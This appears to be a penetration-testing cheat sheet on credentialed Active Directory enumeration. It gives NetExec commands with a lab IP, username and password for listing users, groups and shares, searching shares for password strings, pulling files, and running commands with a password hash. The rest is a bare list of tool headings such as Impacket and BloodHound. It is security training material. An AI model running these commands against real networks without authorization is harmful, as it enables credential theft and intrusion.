Credentialed AD Enumeration
From Linux
NetExec
# Domain user enumeration (with badpwdcount)
nxc smb 172.16.5.5 -u forend -p Klmcargo2 -t 1 --users
# Domain group enumeration
nxc smb 172.16.5.5 -u forend -p Klmcargo2 -t 1 --groups
# Get members of a specific group
netexec ldap <ip> -u <user> -p <pass> -t 1 --groups "Domain Admins"
# Logged on users
nxc smb 172.16.5.130 -u forend -p Klmcargo2 -t 1 --loggedon-users
# Share enumeration
nxc smb 172.16.5.5 -u forend -p Klmcargo2 -t 1 --shares
# Spider shares for files
nxc smb 172.16.5.5 -u forend -p Klmcargo2 -t 5 -M spider_plus --share 'Department Shares'
# Search share content for keywords
netexec smb <ip> -u <user> -p <pass> -t 5 --spider <share> --content --pattern "passw"
# Download file from share
netexec smb <ip> -u <user> -p <pass> -t 1 --share <share> --get-file '\path\to\file' /tmp/localfile
# Cat file via exec (requires admin)
netexec smb <ip> -u <user> -H "<hash>" -t 1 --share C$ -X "type C:\path\to\file.txt"NetExec LDAP Modules
ldapsearch
SMBMap
rpcclient
Impacket
psexec.py (SYSTEM shell via SMB)
wmiexec.py (Stealthier, runs as connected user)
Windapsearch
BloodHound.py
BloodHound CE Python
From Windows
PowerView
SharpView (.NET port of PowerView)
Snaffler (Credential/Sensitive File Hunter)
SharpHound (BloodHound Collector)
LAPSToolkit
Privileged Access Enumeration
RDP Access
WinRM Access
Connecting via WinRM
SQL Server Access
BloodHound Cypher Queries for Remote Access
Last updated